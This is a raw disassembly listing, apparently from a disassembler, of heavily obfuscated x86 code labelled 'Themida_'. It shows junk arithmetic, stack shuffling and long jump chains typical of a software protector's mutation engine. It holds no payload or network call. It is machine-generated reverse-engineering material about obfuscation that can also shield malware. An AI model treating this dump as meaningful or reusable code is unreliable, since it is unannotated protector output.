push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_59346D
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5A59h
mov [esp], eax
push esp
pop eax
push edi
mov edi, 4
jmp loc_590F57
; ---------------------------------------------------------------------------
loc_58F70B: ; CODE XREF: Themida_:0058FEEEj
push eax
mov eax, 3EF0654Dh
add esi, 0C1A628Bh
sub esi, eax
sub esi, 0C1A628Bh
pop eax
add esi, edi
add esi, 3EF0654Dh
pop edi
add eax, esi
jmp loc_5906C5
; ---------------------------------------------------------------------------
loc_58F730: ; CODE XREF: Themida_:0058F5ADj
pop dword ptr [esp]
mov esp, [esp]
and [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58F740: ; CODE XREF: Themida_:00594849j
xor [esp], ebx
xor ebx, [esp]
pop esp
xor ebx, eax
pop dword ptr [eax]
jmp loc_5949DE
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push esp
pop ebp
push ebx
jmp loc_592A8F
; ---------------------------------------------------------------------------
loc_58F75D: ; CODE XREF: Themida_:00589821j
add dword ptr [esp], 4
pop esi
add esi, 4
push edi
mov edi, 2
push ebx
mov ebx, 2E083BB6h
add esi, ebx
jmp loc_58FAA8
; ---------------------------------------------------------------------------
loc_58F77E: ; CODE XREF: Themida_:0058AF83j
mov edx, 4A283ECCh
sub edx, 6B292615h
push eax
mov eax, 3EF969E0h
sub edx, eax
pop eax
shl edx, 2
push esi
jmp loc_591394
; ---------------------------------------------------------------------------
loc_58F79B: ; CODE XREF: Themida_:0058E0ECj
mov edi, 15F13B86h
jmp loc_59089D
; ---------------------------------------------------------------------------
loc_58F7A5: ; CODE XREF: Themida_:0059298Aj
push edx
mov edx, 23F358F3h
dec edx
dec edx
shl edx, 3
or edx, 72B823FDh
sub edx, 60588B00h
sub [esp+8], edx
pop edx
add dword ptr [esp+4], 19CE003Eh
add dword ptr [esp+4], 3EE5083Bh
sub [esp+4], ebp
jmp loc_592D33
; ---------------------------------------------------------------------------
loc_58F7DA: ; CODE XREF: Themida_:0058E9C2j
mov [esp], ebp
mov ebp, 4
sub edi, 792C40F2h
jmp loc_589787
; ---------------------------------------------------------------------------
loc_58F7ED: ; CODE XREF: Themida_:0058EA36j
sub ebp, ecx
jmp loc_58C682
; ---------------------------------------------------------------------------
loc_58F7F4: ; CODE XREF: Themida_:0058E2EEj
push ebx
jmp loc_58D55C
; ---------------------------------------------------------------------------
loc_58F7FA: ; CODE XREF: Themida_:005938F2j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58D143
; ---------------------------------------------------------------------------
loc_58F80B: ; CODE XREF: Themida_:0058A92Aj
shl edx, 1
jmp loc_590DC4
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_58DA00
; ---------------------------------------------------------------------------
loc_58F81A: ; CODE XREF: Themida_:0058B31Dj
push edx
mov edx, 311D470Ah
neg edx
inc edx
inc edx
shr edx, 4
add edx, 45380600h
xor ebp, edx
pop edx
not ebp
neg ebp
add ebp, 2CD65652h
or edx, ebp
pop ebp
shr edx, 1
jmp loc_58B7D5
; ---------------------------------------------------------------------------
loc_58F844: ; CODE XREF: Themida_:0058D1CBj
push edx
push edi
mov edi, 6132FEBh
add edi, 6D9B6949h
and edi, 78AF02B7h
inc edi
jmp loc_58CA6B
; ---------------------------------------------------------------------------
loc_58F85D: ; CODE XREF: Themida_:005937A8j
push 3687h
mov [esp], esi
jmp loc_58C33C
; ---------------------------------------------------------------------------
loc_58F86A: ; CODE XREF: Themida_:00593796j
mov ecx, 4
jmp loc_592257
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_58C005
; ---------------------------------------------------------------------------
loc_58F88F: ; CODE XREF: Themida_:0059458Cj
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
jmp loc_594B57
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebp
mov ebp, esp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
mov esi, 4
sub ebp, 24D64C5Bh
add ebp, esi
add ebp, 24D64C5Bh
pop esi
push eax
push 7E0Ah
jmp loc_594776
; ---------------------------------------------------------------------------
loc_58F8DB: ; CODE XREF: Themida_:0059085Bj
add ecx, 280226A7h
jmp loc_58F457
; ---------------------------------------------------------------------------
loc_58F8E6: ; CODE XREF: Themida_:0059182Dj
or esi, ebp
pop ebp
and esi, 4F07158Fh
jmp loc_58D33A
; ---------------------------------------------------------------------------
loc_58F8F4: ; CODE XREF: Themida_:0059171Bj
push 6B2Dh
mov [esp], esi
mov esi, esp
jmp loc_594ECE
; ---------------------------------------------------------------------------
loc_58F903: ; CODE XREF: Themida_:0059134Fj
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push ebp
jmp loc_593446
; ---------------------------------------------------------------------------
loc_58F91D: ; CODE XREF: Themida_:0058B62Fj
mov esi, 77266650h
or esi, 50BB56FFh
inc esi
jmp loc_589777
; ---------------------------------------------------------------------------
loc_58F92E: ; CODE XREF: Themida_:0058A82Ej
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58F933: ; CODE XREF: Themida_:00589FCAj
add [esp+4], edx
sub dword ptr [esp+4], 4F780455h
pop edx
pop eax
push edi
mov edi, 67DF0612h
jmp loc_59334D
; ---------------------------------------------------------------------------
loc_58F94C: ; CODE XREF: Themida_:0059102Cj
mov [esp], ecx
push ebx
mov bl, dl
jmp loc_58B1EC
; ---------------------------------------------------------------------------
loc_58F957: ; CODE XREF: Themida_:00594136j
mov edx, [esp]
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58F962: ; CODE XREF: Themida_:0058A227j
sub [esp+4], ebx
jmp loc_595B46
; ---------------------------------------------------------------------------
loc_58F96B: ; CODE XREF: Themida_:00594197j
push 7830h
mov [esp], ebx
push esi
jmp loc_58A5DC
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
jmp loc_58E95E
; ---------------------------------------------------------------------------
loc_58F983: ; CODE XREF: Themida_:0059074Ej
inc ecx
or ecx, 1EA37938h
dec ecx
jmp loc_58FD13
; ---------------------------------------------------------------------------
loc_58F990: ; CODE XREF: Themida_:00593617j
push dx
mov dx, 67C7h
add ax, dx
pop dx
push ebp
mov bp, 108Ah
add bp, 1
xor bp, 19EDh
sub ax, 4D78h
sub ax, bp
add ax, 4D78h
pop ebp
jmp loc_59259C
; ---------------------------------------------------------------------------
loc_58F9BA: ; CODE XREF: Themida_:0058F1D0j
shr ebx, 8
jmp loc_58C654
; ---------------------------------------------------------------------------
loc_58F9C2: ; CODE XREF: Themida_:0058E4EEj
add ecx, eax
pop eax
xor ecx, [esp]
jmp loc_589B49
; ---------------------------------------------------------------------------
loc_58F9CD: ; CODE XREF: Themida_:005937A2j
or esi, 527D5779h
shl esi, 3
inc esi
xor esi, 0DFFBFFCBh
jmp loc_58D291
; ---------------------------------------------------------------------------
loc_58F9E2: ; CODE XREF: Themida_:00594E0Bj
pop edx
add al, 71h
sub al, ch
sub al, 71h
pop cx
sub al, 0F6h
jmp loc_59437A
; ---------------------------------------------------------------------------
loc_58F9F2: ; CODE XREF: Themida_:00592F27j
xchg eax, [esp]
pop esp
jmp loc_58FF29
; ---------------------------------------------------------------------------
add edx, 4
add edx, 4
jmp loc_58A47D
; ---------------------------------------------------------------------------
loc_58FA0C: ; CODE XREF: Themida_:0058B623j
mov ebx, [esp]
add esp, 4
add edx, 2
jmp loc_58CEA7
; ---------------------------------------------------------------------------
loc_58FA20: ; CODE XREF: Themida_:0058E8A3j
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58FA2C: ; CODE XREF: Themida_:0059550Bj
shr esi, 3
shl esi, 7
xor esi, 0EDA7B29h
sub esi, 9EF5AA5h
add ebp, esi
pop esi
push 537Bh
jmp loc_593B61
; ---------------------------------------------------------------------------
loc_58FA4B: ; CODE XREF: Themida_:0058C4A5j
mov edi, 126D76A4h
sub edi, 720B2278h
inc edi
jmp loc_5931E9
; ---------------------------------------------------------------------------
loc_58FA5C: ; CODE XREF: Themida_:0058EBBAj
shr eax, 4
neg eax
xor eax, 8BB145D1h
or edi, eax
pop eax
or edi, 18F1545Ah
push esi
mov esi, 59370B31h
or edi, esi
pop esi
shl edi, 3
add edi, 2000002Ch
mov ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_593B5A
; ---------------------------------------------------------------------------
loc_58FA8E: ; CODE XREF: Themida_:00594FE6j
not ebx
shl ebx, 5
jmp loc_58CCEB
; ---------------------------------------------------------------------------
loc_58FA98: ; CODE XREF: Themida_:00590E6Aj
shl eax, 8
sub eax, 221FFCECh
not eax
dec eax
jmp loc_589B01
; ---------------------------------------------------------------------------
loc_58FAA8: ; CODE XREF: Themida_:0058F779j
pop ebx
add esi, edi
jmp loc_58B1FB
; ---------------------------------------------------------------------------
loc_58FAB0: ; CODE XREF: Themida_:0058DB95j
mov esi, 189A3124h
jmp loc_5913AA
; ---------------------------------------------------------------------------
loc_58FABA: ; CODE XREF: Themida_:0058AF43j
push ebx
mov ebx, 4
add esi, ebx
pop ebx
xor esi, [esp]
jmp loc_593896
; ---------------------------------------------------------------------------
loc_58FACB: ; CODE XREF: Themida_:00590456j
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_595979
; ---------------------------------------------------------------------------
loc_58FAF1: ; CODE XREF: Themida_:0058E565j
mov edi, 297D6D81h
xor ebp, edi
pop edi
push 48h
mov [esp], ebx
mov ebx, 78B258C2h
add ebp, ebx
pop ebx
and ebp, 75631C75h
sub ebp, 0D96A06FEh
jmp loc_58FD82
; ---------------------------------------------------------------------------
loc_58FB1A: ; CODE XREF: Themida_:00593B87j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_58FDDB
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
push esp
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push eax
jmp loc_593495
; ---------------------------------------------------------------------------
loc_58FB62: ; CODE XREF: Themida_:0058BCCCj
xor ecx, 15F9DC67h
and esi, ecx
pop ecx
shl esi, 7
and esi, 52FC3721h
sub esi, 0DF9B1FA7h
mov ebp, esi
pop esi
jmp loc_590160
; ---------------------------------------------------------------------------
loc_58FB82: ; CODE XREF: Themida_:005897B1j
mov esi, 6EB3300Eh
sub esi, 3CAF30D2h
jmp loc_59261E
; ---------------------------------------------------------------------------
loc_58FB92: ; CODE XREF: Themida_:00594A93j
xor ebx, 0CD15A4Dh
sub ebx, 7C2C6CD8h
sub esi, ebx
jmp loc_59029C
; ---------------------------------------------------------------------------
loc_58FBA5: ; CODE XREF: Themida_:0058AC49j
pop dword ptr [esp]
pop esp
push dword ptr [esp]
jmp loc_58BA56
; ---------------------------------------------------------------------------
loc_58FBB1: ; CODE XREF: Themida_:00591C74j
mov al, [esp]
jmp loc_5912B6
; ---------------------------------------------------------------------------
loc_58FBB9: ; CODE XREF: Themida_:00592F0Aj
push edx
push esp
pop edx
jmp loc_58E3D8
; ---------------------------------------------------------------------------
loc_58FBC1: ; CODE XREF: Themida_:0058DAA3j
mov dh, 6Eh
xor dh, 0A8h
add dh, 3Ch
jmp loc_591204
; ---------------------------------------------------------------------------
loc_58FBCE: ; CODE XREF: Themida_:0059503Cj
push edi
mov edi, esp
push ebp
mov ebp, 12AE14B5h
inc ebp
push edx
mov edx, 12AE14B2h
xor ebp, edx
jmp loc_58C8A8
; ---------------------------------------------------------------------------
loc_58FBE5: ; CODE XREF: Themida_:0058CA26j
mov ebx, 60F1620h
shl ebx, 4
shr ebx, 3
add ebx, 208C22D2h
inc ebx
add ebx, 0C6B1EEE3h
jmp loc_5926E5
; ---------------------------------------------------------------------------
loc_58FC02: ; CODE XREF: Themida_:00590EABj
xor al, 0FBh
or al, 79h
add al, 1Fh
mov bl, al
pop eax
and bl, 53h
jmp loc_58977E
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
jmp loc_59081C
; ---------------------------------------------------------------------------
loc_58FC1D: ; CODE XREF: Themida_:0058AC7Cj
mov ebx, [esp]
jmp loc_5949E3
; ---------------------------------------------------------------------------
loc_58FC25: ; CODE XREF: Themida_:00593C19j
add bl, al
jmp loc_58BD92
; ---------------------------------------------------------------------------
loc_58FC2C: ; CODE XREF: Themida_:005959D1j
push ebp
jmp loc_5948BA
; ---------------------------------------------------------------------------
loc_58FC32: ; CODE XREF: Themida_:00591375j
push ecx
mov ecx, 2
jmp loc_58AF88
; ---------------------------------------------------------------------------
loc_58FC3D: ; CODE XREF: Themida_:0058A478j
sub esp, 4
mov [esp], edx
mov edx, 163008B1h
inc edx
jmp loc_5921CB
; ---------------------------------------------------------------------------
loc_58FC4E: ; CODE XREF: Themida_:0058DCCFj
add ebx, ecx
pop ecx
add ebx, 4
xchg ebx, [esp]
pop esp
imul ecx
jmp loc_58C90E
; ---------------------------------------------------------------------------
loc_58FC5F: ; CODE XREF: Themida_:0058C28Dj
push 2090h
jmp loc_589F67
; ---------------------------------------------------------------------------
loc_58FC69: ; CODE XREF: Themida_:0058C2AEj
sub ebp, ebx
pop ebx
push edx
mov edx, 4FB6EBE0h
add ebp, edx
jmp loc_5936D7
; ---------------------------------------------------------------------------
loc_58FC79: ; CODE XREF: Themida_:0058ADFBj
xor ebp, edi
mov edi, [esp]
add esp, 4
and ecx, ebp
push dword ptr [esp]
pop ebp
push eax
push esp
pop eax
push esi
mov esi, 4
add eax, esi
pop esi
push ebx
mov ebx, 4
add eax, ebx
pop ebx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_5929E8
; ---------------------------------------------------------------------------
loc_58FCAD: ; CODE XREF: Themida_:0058F3E7j
add ebx, 4
jmp loc_58D3CF
; ---------------------------------------------------------------------------
loc_58FCB8: ; CODE XREF: Themida_:005948CEj
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_594CF7
; ---------------------------------------------------------------------------
loc_58FCC6: ; CODE XREF: Themida_:0058B325j
add esp, 4
xchg ecx, [esp]
jmp loc_58F2E2
; ---------------------------------------------------------------------------
loc_58FCD4: ; CODE XREF: Themida_:0058AA69j
pop edi
pop ebx
jmp loc_58DB3C
; ---------------------------------------------------------------------------
loc_58FCDB: ; CODE XREF: Themida_:0058980Cj
push esi
mov esi, esp
jmp loc_5951BA
; ---------------------------------------------------------------------------
loc_58FCE3: ; CODE XREF: Themida_:0058A03Cj
xchg ebx, [esp]
pop esp
xor eax, ecx
push dword ptr [esp]
pop ecx
jmp loc_594CE9
; ---------------------------------------------------------------------------
loc_58FCF2: ; CODE XREF: Themida_:0058CB9Fj
inc cl
neg cl
neg cl
xor cl, 0CDh
sub bl, cl
pop ecx
sub bl, al
add bl, 8Bh
jmp loc_594511
; ---------------------------------------------------------------------------
loc_58FD08: ; CODE XREF: Themida_:00593E0Bj
mov eax, [esp]
add esp, 4
jmp loc_5940C4
; ---------------------------------------------------------------------------
loc_58FD13: ; CODE XREF: Themida_:0058F98Bj
shr ecx, 8
add ecx, 7F0F6F8Ch
xor edi, ecx
pop ecx
mov esi, edi
pop edi
and [edi+1Ch], esi
push dword ptr [esp]
push dword ptr [esp]
jmp loc_591CA1
; ---------------------------------------------------------------------------
loc_58FD30: ; CODE XREF: Themida_:0058C5FFj
or edx, 29A4DF3h
dec edx
jmp loc_58C70A
; ---------------------------------------------------------------------------
loc_58FD3C: ; CODE XREF: Themida_:0058CDC7j
sub ebx, 7F9F01F3h
pop edx
jmp loc_58B529
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4D13h
mov [esp], esi
push edx
mov edx, esp
jmp loc_591916
; ---------------------------------------------------------------------------
loc_58FD5C: ; CODE XREF: Themida_:00592EBDj
add al, 21h
push 1F69h
mov [esp], ebx
push ecx
mov cl, 31h
mov bl, cl
pop ecx
jmp loc_58CA2B
; ---------------------------------------------------------------------------
loc_58FD71: ; CODE XREF: Themida_:00589474j
or esi, 50666BBEh
xor esi, 33036BBDh
jmp loc_590A3F
; ---------------------------------------------------------------------------
loc_58FD82: ; CODE XREF: Themida_:0058FB15j
mov edi, ebp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor [esp+4], edi
pop edi
mov ecx, [esp]
add esp, 4
xor ecx, 46F70976h
push eax
mov eax, esp
jmp loc_590685
; ---------------------------------------------------------------------------
loc_58FDB6: ; CODE XREF: Themida_:00595242j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58FDBB: ; CODE XREF: Themida_:00591735j
add bl, 0E5h
add bl, al
jmp loc_58A637
; ---------------------------------------------------------------------------
loc_58FDC5: ; CODE XREF: Themida_:005928D2j
mov ebp, edi
pop edi
jmp loc_58E66D
; ---------------------------------------------------------------------------
loc_58FDCD: ; CODE XREF: Themida_:005919F5j
push 2A337C5Fh
pop ebx
shr ebx, 2
jmp loc_58A6D3
; ---------------------------------------------------------------------------
loc_58FDDB: ; CODE XREF: Themida_:0058FB33j
push dword ptr [esp]
jmp loc_59248D
; ---------------------------------------------------------------------------
loc_58FDE3: ; CODE XREF: Themida_:0058BB02j
or edx, 1F402304h
push esi
mov esi, 675E2533h
xor edx, esi
pop esi
mov ebp, edx
pop edx
sub esi, 77816B55h
add esi, ebp
add esi, 77816B55h
mov ebp, [esp]
add esp, 4
sub esi, 27865575h
push 0
mov ebx, [esp]
push ebp
mov ebp, esp
push edi
push 18D82E19h
pop edi
xor edi, 6BAF02B8h
xor edi, 73772CA5h
sub ebp, 669A383Bh
jmp loc_590F5F
; ---------------------------------------------------------------------------
loc_58FE38: ; CODE XREF: Themida_:00589605j
shl eax, 4
jmp loc_58BAD7
; ---------------------------------------------------------------------------
loc_58FE40: ; CODE XREF: Themida_:0058A117j
or [edi+1Ch], ecx
mov ecx, [esp]
push ebp
mov ebp, esp
jmp loc_58D200
; ---------------------------------------------------------------------------
loc_58FE4E: ; CODE XREF: Themida_:0058D880j
push esi
mov esi, 7B2C44C8h
inc esi
xor esi, 5E735D6Dh
jmp loc_5935AF
; ---------------------------------------------------------------------------
loc_58FE60: ; CODE XREF: Themida_:00592A39j
mov [esp], ebp
push esi
push 25041747h
pop esi
xor esi, 424E67D1h
mov ebp, esi
pop esi
sub ebp, 0FA403CBh
jmp loc_59046A
; ---------------------------------------------------------------------------
loc_58FE7E: ; CODE XREF: Themida_:00592DF1j
mov eax, 140721EDh
push edx
jmp loc_593CA7
; ---------------------------------------------------------------------------
loc_58FE89: ; CODE XREF: Themida_:0059069Ej
mov [esp], ebx
mov ebx, 2000000h
mov esi, ebx
jmp loc_591181
; ---------------------------------------------------------------------------
loc_58FE98: ; CODE XREF: Themida_:00590348j
pop ebx
neg ebx
jmp loc_593374
; ---------------------------------------------------------------------------
mov ax, [esp]
push 59B5h
mov [esp], edx
push esp
jmp loc_58951F
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58E709
; ---------------------------------------------------------------------------
loc_58FEBA: ; CODE XREF: Themida_:0058BE7Ej
push edx
mov edx, 5D877BC9h
jmp loc_58BE30
; ---------------------------------------------------------------------------
loc_58FEC5: ; CODE XREF: Themida_:0058B959j
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_58BBA7
; ---------------------------------------------------------------------------
loc_58FEDE: ; CODE XREF: Themida_:0058CB87j
shl eax, 3
add eax, 363574FBh
sub eax, 564715A2h
mov edi, eax
pop eax
jmp loc_58F70B
; ---------------------------------------------------------------------------
loc_58FEF3: ; CODE XREF: Themida_:00592CF6j
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_58C3D7
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 3B5Dh
jmp loc_590597
; ---------------------------------------------------------------------------
loc_58FF29: ; CODE XREF: Themida_:0058F9F6j
xor ebp, [esp]
jmp loc_59512A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 775Bh
jmp loc_5935A7
; ---------------------------------------------------------------------------
loc_58FF44: ; CODE XREF: Themida_:00590EFDj
push 13D9h
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
jmp loc_58EE52
; ---------------------------------------------------------------------------
loc_58FF5D: ; CODE XREF: Themida_:0058BAD2j
xchg esi, [esp]
pop esp
jmp loc_58AD6A
; ---------------------------------------------------------------------------
loc_58FF66: ; CODE XREF: Themida_:00591F0Fj
add ebx, 767921F5h
jmp loc_58E8E1
; ---------------------------------------------------------------------------
loc_58FF71: ; CODE XREF: Themida_:0058A1DBj
push ebx
mov ebx, 62CA2297h
or ebx, 4CC734B9h
add ebx, 9326FFDDh
sub eax, ebx
pop ebx
pop esi
add eax, 4
xchg eax, [esp]
mov esp, [esp]
inc dword ptr [esp]
pushf
jmp loc_58A95E
; ---------------------------------------------------------------------------
loc_58FF9B: ; CODE XREF: Themida_:005924FBj
mov esi, [esp]
push ebp
mov ebp, esp
jmp loc_58E686
; ---------------------------------------------------------------------------
loc_58FFA6: ; CODE XREF: Themida_:0058BC55j
pop edx
add eax, 0BA9166Eh
add eax, ecx
jmp loc_5918FB
; ---------------------------------------------------------------------------
loc_58FFB3: ; CODE XREF: Themida_:0058F452j
or edx, 71865CBFh
inc edx
xor edx, 83B1187h
xor edx, 39EE6532h
xor edx, 0B37B9D6Ah
add eax, edx
pop edx
shl eax, 3
sub eax, 7C78C8DDh
sub edx, eax
mov eax, [esp]
jmp loc_58AEC4
; ---------------------------------------------------------------------------
loc_58FFE1: ; CODE XREF: Themida_:00594489j
mov eax, ecx
pop ecx
jmp loc_5942DA
; ---------------------------------------------------------------------------
loc_58FFE9: ; CODE XREF: Themida_:00592EFBj
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
push edi
mov edi, 4
add [esp+4], edi
pop edi
push dword ptr [esp]
pop esi
add esp, 4
push 677Ah
mov [esp], edx
push ecx
push 43733C1h
pop ecx
add ecx, 25295467h
push eax
mov eax, 334B6489h
xor eax, 4AE421B6h
shr eax, 3
or eax, 630B5A59h
or eax, 73B72232h
not eax
sub esp, 4
mov [esp], esi
mov esi, 55671C2Ch
jmp loc_592642
; ---------------------------------------------------------------------------
loc_590057: ; CODE XREF: Themida_:005935EDj
add esp, 4
add ebx, 563A3E13h
push ebp
mov ebp, 187978BCh
jmp loc_591A61
; ---------------------------------------------------------------------------
loc_59006B: ; CODE XREF: Themida_:00592356j
pop esi
xor ebx, eax
push 749Fh
mov [esp], eax
push dword ptr [esp]
jmp loc_5916DF
; ---------------------------------------------------------------------------
loc_59007E: ; CODE XREF: Themida_:00590D98j
sub ebp, 0DB4FFACCh
jmp loc_5935FA
; ---------------------------------------------------------------------------
loc_590089: ; CODE XREF: Themida_:0058B6DFj
mov eax, 4
add [esp+4], eax
pop eax
push dword ptr [esp]
pop esi
push ebx
jmp loc_594216
; ---------------------------------------------------------------------------
loc_59009D: ; CODE XREF: Themida_:00591407j
push edx
push bx
mov bl, 36h
mov dl, bl
jmp loc_59521A
; ---------------------------------------------------------------------------
loc_5900A9: ; CODE XREF: Themida_:0058E6A9j
mov ebx, edx
mov edx, [esp]
add esp, 4
pop ecx
sub ebx, 374A59E8h
jmp loc_58F564
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
jmp loc_58EFA2
; ---------------------------------------------------------------------------
loc_5900C5: ; CODE XREF: Themida_:00592FB8j
push ebp
jmp loc_595B30
; ---------------------------------------------------------------------------
loc_5900CB: ; CODE XREF: Themida_:00589B94j
mov ebx, 8D31F31h
sub eax, ebx
mov ebx, [esp]
push esi
jmp loc_58D393
; ---------------------------------------------------------------------------
loc_5900DB: ; CODE XREF: Themida_:0059058Cj
push 4B53h
mov [esp], esi
push esp
pop esi
push edx
mov edx, 0FE24C02h
not edx
not edx
push esi
mov esi, 5CD86562h
xor edx, esi
pop esi
dec edx
push ecx
mov ecx, 533A295Bh
xor edx, ecx
pop ecx
jmp loc_58C1E9
; ---------------------------------------------------------------------------
loc_590107: ; CODE XREF: Themida_:00593765j
pop esi
jmp loc_591E16
; ---------------------------------------------------------------------------
loc_59010D: ; CODE XREF: Themida_:00590C1Aj
mov bp, [esp]
push edx
push esp
pop edx
add edx, 4
push edi
mov edi, 78192C49h
push edx
mov edx, 78192C4Bh
xor edi, edx
pop edx
add edx, edi
jmp loc_58C565
; ---------------------------------------------------------------------------
loc_590130: ; CODE XREF: Themida_:0058A83Cj
mov ebp, [esp]
jmp loc_591257
; ---------------------------------------------------------------------------
loc_590138: ; CODE XREF: Themida_:0058F3AFj
mov [esp], esi
jmp loc_589706
; ---------------------------------------------------------------------------
loc_590140: ; CODE XREF: Themida_:0058DBDEj
add dh, 5Bh
and dh, 2Ah
add dh, 75h
and dh, 37h
jmp loc_58CF8E
; ---------------------------------------------------------------------------
loc_590151: ; CODE XREF: Themida_:005944D8j
mov ch, 0BFh
xor ch, 25h
mov dl, ch
mov ecx, [esp]
jmp loc_593FB2
; ---------------------------------------------------------------------------
loc_590160: ; CODE XREF: Themida_:0058FB7Dj
or esi, ebp
pop ebp
xor esi, 1AA83900h
jmp loc_5904BF
; ---------------------------------------------------------------------------
loc_59016E: ; CODE XREF: Themida_:00595546j
div ecx
push 22F4h
mov [esp], edx
push eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59017F: ; CODE XREF: Themida_:005958B5j
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
jmp loc_58B464
; ---------------------------------------------------------------------------
loc_590191: ; CODE XREF: Themida_:0058B243j
pop edx
push 3738h
jmp loc_5948F6
; ---------------------------------------------------------------------------
loc_59019C: ; CODE XREF: Themida_:00595349j
add ebx, 4
push eax
push ebx
jmp loc_5934DB
; ---------------------------------------------------------------------------
loc_5901A9: ; CODE XREF: Themida_:0058C568j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_58A70C
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
push eax
mov eax, 2F413904h
shr eax, 7
push ebx
push edx
push ebx
mov ebx, 3DE056CEh
mov edx, ebx
pop ebx
or edx, 236A022Ch
jmp loc_58CC63
; ---------------------------------------------------------------------------
loc_5901DD: ; CODE XREF: Themida_:0058B0F5j
add edx, 4
jmp loc_58BBCC
; ---------------------------------------------------------------------------
loc_5901E8: ; CODE XREF: Themida_:00589B44j
mov ebp, esi
pop esi
pop ebx
jmp loc_58B940
; ---------------------------------------------------------------------------
loc_5901F1: ; CODE XREF: Themida_:0058CC5Ej
shr edi, 6
sub edi, 0FF55FBD4h
mov ebx, edi
pop edi
inc ebx
and ebx, 757A5006h
neg ebx
not ebx
jmp loc_58C04A
; ---------------------------------------------------------------------------
loc_59020D: ; CODE XREF: Themida_:0058E84Bj
mov edx, [esp]
add esp, 4
jmp loc_5944E2
; ---------------------------------------------------------------------------
loc_59021B: ; CODE XREF: Themida_:0058AB7Ej
add bh, 0B6h
jmp loc_5933C5
; ---------------------------------------------------------------------------
loc_590223: ; CODE XREF: Themida_:0058F16Cj
push eax
mov eax, 26E001CBh
sub eax, 68362FF1h
or eax, 54291041h
dec eax
push edi
mov edi, 486231EFh
inc edi
jmp loc_5945FD
; ---------------------------------------------------------------------------
loc_590240: ; CODE XREF: Themida_:0058ECA7j
add esp, 4
add esi, 4
push 5814h
mov [esp], eax
push ebx
mov ebx, 7BCB2326h
add ebx, 8434DCDEh
mov eax, ebx
pop ebx
sub esi, eax
mov eax, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59027B: ; CODE XREF: Themida_:0058DD85j
pop ebp
pop ecx
jmp loc_589ABB
; ---------------------------------------------------------------------------
loc_590282: ; CODE XREF: Themida_:0059420Cj
push edx
mov edx, 4
add eax, edx
pop edx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_58CF65
; ---------------------------------------------------------------------------
loc_59029C: ; CODE XREF: Themida_:0058FBA0j
pop ebx
add esi, 219342B3h
push ecx
mov ecx, 4DA90FB9h
not ecx
neg ecx
shr ecx, 4
sub ecx, 0FFFFFFFFh
shl ecx, 4
xor ecx, 40C1761Ch
jmp loc_58E04C
; ---------------------------------------------------------------------------
loc_5902C4: ; CODE XREF: Themida_:00593BF6j
add eax, edi
add eax, 1CBF2289h
add eax, 31EA6C27h
pop edi
xor ebx, eax
mov dx, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
jmp loc_5954A8
; ---------------------------------------------------------------------------
loc_5902EF: ; CODE XREF: Themida_:005909E1j
pop edi
add ebx, 4
jmp loc_58C6C6
; ---------------------------------------------------------------------------
loc_5902FB: ; CODE XREF: Themida_:005939A0j
add esp, 4
pop ecx
mov ebp, eax
mov eax, [esp]
jmp loc_593062
; ---------------------------------------------------------------------------
loc_59030C: ; CODE XREF: Themida_:00592242j
add edx, 4
jmp loc_58BF6A
